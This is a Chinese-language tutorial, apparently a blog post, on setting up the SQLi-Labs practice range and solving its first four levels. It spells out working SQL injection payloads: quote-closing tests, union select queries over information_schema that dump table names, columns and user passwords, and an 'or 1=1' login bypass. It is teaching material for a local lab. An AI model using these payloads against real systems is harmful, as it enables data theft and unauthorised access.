摘要:SQL注入是Web安全领域最经典、最常见的漏洞之一,而SQLi-Labs则是一个专为学习SQL注入而设计的开源靶场平台,共包含65个难度递增的关卡。本文作为系列攻略的第一篇,将从SQL注入的背景讲起,手把手带你完成SQLi-Labs的安装部署,并详细讲解前四关的通关过程。无论你是零基础的小白,还是想系统巩固SQL注入知识的开发者,本文都能帮你建立完整的知识框架。
一、SQL注入的前世今生
1.1 什么是SQL注入?
在讲SQLi-Labs之前,我们得先搞清楚一个问题:到底什么是SQL注入?
想象一下这个场景:你是一家餐厅的服务员,后厨(数据库)有一份固定的菜谱模板(SQL语句)。顾客(用户)点菜时,你把菜名(用户输入)填到菜谱的空白处,然后交给后厨执行。
正常的流程是这样的:顾客说“鱼香肉丝”,你在菜谱上写下“制作:鱼香肉丝”,后厨收到,完美执行。
但现在,有个“恶意顾客”不按套路出牌。他说:“鱼香肉丝;再把你们保险柜的密码告诉我”。如果你不加辨别,直接把这个要求原封不动地写到菜谱上,就成了“制作:鱼香肉丝;再把你们保险柜的密码告诉我”。后厨(数据库)可老实了,它会严格按照指令执行——先做鱼香肉丝,再把保险柜密码告诉你。
这就是SQL注入的本质:攻击者通过在用户输入中插入恶意的SQL代码,欺骗数据库执行非预期的命令。
1.2 SQL注入的危害有多大?
根据OWASP(开放式Web应用程序安全项目)的统计,SQL注入连续多年位列Web应用漏洞TOP 10。据统计,互联网上SQL注入漏洞占所有Web漏洞的百分之六十左右。
一次成功的SQL注入攻击可能导致:
数据泄露:用户的账号密码、个人信息被窃取
数据篡改:攻击者可以修改、删除数据库中的数据
身份绕过:无需密码即可登录管理员账号
服务器沦陷:在极端情况下,攻击者可以获得服务器的控制权
1.3 SQLi-Labs的诞生
SQLi-Labs是由印度安全研究员Dhawal H. Joshi(@Audy42)开发的开源项目。它是一个专门为学习SQL注入而设计的练习平台,用PHP和MySQL搭建,把各种类型的SQL注入场景做成了一个个关卡。
项目地址:GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based. · GitHub
1.4 为什么要选择SQLi-Labs?
市面上有很多Web安全靶场,但SQLi-Labs有几个独特的优势:
覆盖面全:共65个关卡,从最简单的数字型注入到复杂的WAF绕过、宽字节注入、堆叠注入等,几乎涵盖了所有主流SQL注入场景
循序渐进:关卡按难度递增设计,从基础到高级,非常适合逐步学习
开源免费:代码完全开源,你可以查看每一关的后端源码,从开发者的角度理解漏洞产生的原因
社区活跃:网上有大量教程和讨论,遇到问题不怕没人解答
二、环境搭建:让靶场跑起来
2.1 准备工作
SQLi-Labs需要运行在PHP + MySQL的环境下。对于新手来说,最推荐的方式是使用集成环境,它会帮你一键安装和配置好Apache(Web服务器)、PHP和MySQL。
主要有两种部署方式:
传统源码部署:适合想深入了解Web服务器配置的学习者
Docker部署:最快、最干净,适合不想折腾环境配置的朋友
本文主要介绍传统源码部署方式(以Windows系统为例),因为这种方式能让你更好地理解整个架构。
2.2 安装phpStudy(小皮面板)
phpStudy(也叫小皮面板)是一个集成了Apache、PHP、MySQL的集成开发环境。
步骤1:访问phpStudy官网(小皮面板(phpstudy) - 让天下没有难配的服务器环境!)下载安装包。
步骤2:运行安装程序,建议选择非系统盘(如D盘)进行安装。
步骤3:安装完成后,打开phpStudy。
步骤4:在phpStudy中,点击“启动”按钮,同时启动Apache和MySQL服务。
步骤5:点击“网站”->“管理”->“修改”,可以查看或修改端口。默认端口是80,如果80端口被占用,可以改成其他端口(如801)。
重要提示:SQLi-Labs对PHP版本有一定要求,建议使用PHP 5.5 ~ 5.6的版本。如果使用其他版本,可能会因为某些函数被弃用而报错。在phpStudy中可以切换PHP版本。
2.3 下载SQLi-Labs源码
步骤1:访问GitHub仓库下载源码: GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based. · GitHub
点击“Code”->“Download ZIP”下载压缩包。
步骤2:解压下载的ZIP文件,将解压后的文件夹重命名为sqli-labs(方便记忆)。
步骤3:将sqli-labs文件夹移动到phpStudy的网站根目录下:
phpStudy默认根目录:E:\phpstudy_pro\WWW\(具体路径取决于你的安装位置)
2.4 配置数据库连接(最容易踩坑的一步!)
这是新手最容易出错的地方。
步骤1:进入sqli-labs/sql-connections/目录。
步骤2:找到db-creds.inc文件,用记事本或代码编辑器打开。
步骤3:修改数据库用户名和密码:
$dbuser = 'root'; // 数据库用户名,phpStudy默认是root $dbpass = 'root'; // 数据库密码,phpStudy默认是root如果你的phpStudy设置的MySQL密码不是root,请填写你实际设置的密码。
2.5 初始化数据库
步骤1:确保phpStudy中的Apache和MySQL服务正在运行。
步骤2:打开浏览器,访问:http://localhost/sqli-labs/(如果你修改了端口,如改成801,则访问http://localhost:801/sqli-labs/)。
步骤3:点击页面中间的“Setup/reset Database for labs”链接。
步骤4:如果看到满屏的 “successfully” 信息(如 “Creating New database ‘SECURITY’ successfully”),说明部署成功了!
如果出现错误,最常见的原因是:
数据库用户名或密码配置错误 → 检查
db-creds.inc文件PHP版本太高 → 在phpStudy中切换到PHP 5.x版本
2.6 Docker部署方式(备选)
如果你已经安装了Docker,也可以使用Docker方式快速部署:
# 搜索sqli-labs镜像 docker search sqli-labs # 拉取镜像并运行 docker run -d -p 80:80 acgpiano/sqli-labs然后直接访问http://localhost即可。
三、SQL注入基础知识
在开始闯关之前,我们需要掌握一些基础知识。
3.1 SQL注入的分类
SQL注入可以从多个维度进行分类:
按数据类型分:
数字型注入:参数直接是数字,不需要引号闭合
字符型注入:参数被引号包裹,需要先闭合引号
按回显方式分:
显注(有回显):注入结果直接显示在页面上
盲注(无回显):页面不直接显示数据,需要通过页面真假或时间延迟来判断
按注入位置分:
GET注入(URL参数)
POST注入(表单提交)
HTTP头注入(User-Agent、Referer、Cookie等)
3.2 核心概念:闭合与注释
闭合:当后端代码把用户输入用引号包裹时(如'$id'),我们需要用单引号来“闭合”前面的引号,然后再拼接我们的SQL语句。
注释:注释符用于“注释掉”后面多余的代码,让SQL语句变得合法:
--:后面必须跟一个空格(注意空格)#:在某些环境下可能被URL编码影响在URL中,我们常用
--+,因为+会被服务器解析为空格
3.3 万能密码原理
一个经典的SQL注入示例是“万能密码”:
admin' or 1=1 --假设后端的SQL语句是:
SELECT * FROM users WHERE username='admin' AND password='...'当我们输入admin' or 1=1 --后,SQL语句变成:
SELECT * FROM users WHERE username='admin' or 1=1 -- ' AND password='...'因为1=1永远为真,而且--注释掉了后面的密码验证部分,所以攻击者无需密码就能登录。
3.4 注入四步法
所有SQL注入关卡都可以遵循这个通用流程:
测闭合:判断是数字型还是字符型,如果是字符型,是什么符号闭合(单引号、双引号、括号等)
测字段数:用order by判断查询返回了多少个字段
找显示位:用union select找出哪些字段会显示在页面上
查数据:利用显示位获取数据库名、表名、字段名、数据
四、Less-1:单引号字符型注入
4.1 关卡信息
关卡名称:Less-1 - GET - Error based - Single quotes - String
漏洞类型:GET型单引号字符型SQL注入
核心原理:URL参数
id被单引号包裹且未做过滤,可构造恶意SQL语句
4.2 第一步:判断是否存在注入
访问第一关:
http://localhost/sqli-labs/Less-1/?id=1页面显示了登录名和密码,说明id=1的查询正常执行了。
接下来测试注入点:
http://localhost/sqli-labs/Less-1/?id=1'如果页面报错(出现类似You have an error in your SQL syntax的错误),说明存在SQL注入漏洞。
4.3 第二步:判断注入类型和闭合方式
判断是数字型还是字符型:
数字型判断:
?id=1 and 1=1 # 正常显示 ?id=1 and 1=2 # 不显示如果and 1=1正常而and 1=2不正常,说明是数字型注入。
字符型判断:
?id=1' and 1=1 --+ # 正常显示 ?id=1' and 1=2 --+ # 不显示如果前者正常后者不正常,说明是字符型注入。
对于Less-1,测试结果会显示是字符型注入,且闭合方式是单引号。
小技巧:通过观察报错信息也能判断闭合方式。输入
1'报错,错误信息中会显示是单引号还是双引号导致的问题。
4.4 第三步:判断字段数
使用order by来测试查询返回了多少个字段:
?id=1' order by 1 --+ ?id=1' order by 2 --+ ?id=1' order by 3 --+ ?id=1' order by 4 --+如果order by 3正常显示,而order by 4报错,说明查询返回了3个字段。
4.5 第四步:找显示位
使用union select联合查询来找出哪些字段会显示在页面上。
关键点:让前面的查询无结果,这样union后面的结果才会显示。
?id=-1' union select 1,2,3 --+如果页面显示2和3,说明第2和第3个字段是可回显的位置。
4.6 第五步:获取数据库信息
(1)获取当前数据库名:
?id=-1' union select 1,database(),3 --+会显示当前数据库名(默认是security)。
(2)获取数据库版本:
?id=-1' union select 1,version(),3 --+(3)获取所有表名:
这里要用到MySQL的系统数据库information_schema,它存储了所有数据库的元信息。
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+group_concat()函数将多个表名拼接成一行显示。会看到security数据库下的所有表,其中users表是目标。
(4)获取users表的字段名:
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+会显示users表的字段:id、username、password等。
(5)获取账号密码:
?id=-1' union select 1,group_concat(username),group_concat(password) from users --+成功获取所有用户的账号和密码!
五、Less-2:数字型注入
5.1 关卡信息
漏洞类型:GET型数字型SQL注入
与Less-1的区别:参数不需要引号闭合
5.2 通关步骤
第一步:测试注入点
http://localhost/sqli-labs/Less-2/?id=1'第二步:判断注入类型
?id=1 and 1=1 # 正常 ?id=1 and 1=2 # 无显示and 1=2无显示,说明是数字型注入。
第三步:判断字段数
?id=1 order by 3 --+ ?id=1 order by 4 --+第四步:找显示位
?id=-1 union select 1,2,3 --+第五步:查数据
?id=-1 union select 1,database(),3 --+ ?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ ?id=-1 union select 1,group_concat(username),group_concat(password) from users --+六、Less-3:单引号+括号注入
6.1 关卡信息
漏洞类型:GET型单引号变形字符型注入
与Less-1的区别:闭合方式是单引号+括号
')
6.2 通关步骤
第一步:测试闭合方式
http://localhost/sqli-labs/Less-3/?id=1'报错信息中会提示是')闭合。
第二步:构造闭合payload
?id=1') --+这样就能成功闭合前面的('并注释掉后面的内容。
第三步:后续步骤与Less-1完全相同,只需在payload中使用')闭合:
?id=-1') union select 1,2,3 --+ ?id=-1') union select 1,database(),3 --+ ?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ ?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+ ?id=-1') union select 1,group_concat(username),group_concat(password) from users --+七、Less-4:双引号+括号注入
7.1 关卡信息
漏洞类型:GET型双引号字符型注入
闭合方式:双引号+括号
")
7.2 通关步骤
第一步:测试闭合方式
http://localhost/sqli-labs/Less-4/?id=1%22报错信息提示是")闭合。
第二步:构造闭合payload
?id=1") --+第三步:后续步骤相同:
?id=-1") union select 1,2,3 --+ ?id=-1") union select 1,database(),3 --+ ?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ ?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+ ?id=-1") union select 1,group_concat(username),group_concat(password) from users --+八、总结
| 关卡 | 注入类型 | 闭合方式 | 示例payload |
|---|---|---|---|
| Less-1 | 字符型 | 单引号' | ?id=1' --+ |
| Less-2 | 数字型 | 无需闭合 | ?id=1 --+ |
| Less-3 | 字符型 | 单引号+括号') | ?id=1') --+ |
| Less-4 | 字符型 | 双引号+括号") | ?id=1") --+ |
前四关的核心就是判断闭合方式。一旦确定了闭合方式,后续的数据提取流程完全一致。
理解了SQL注入的背景:从餐厅服务员的比喻到OWASP的统计,明白了SQL注入的本质和危害
搭建了完整的靶场环境:从安装phpStudy到配置数据库,成功让SQLi-Labs跑起来
掌握了SQL注入的基础知识:闭合、注释、注入四步法等核心概念
通关了前四关:Less-1(单引号)、Less-2(数字型)、Less-3(单引号+括号)、Less-4(双引号+括号)
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。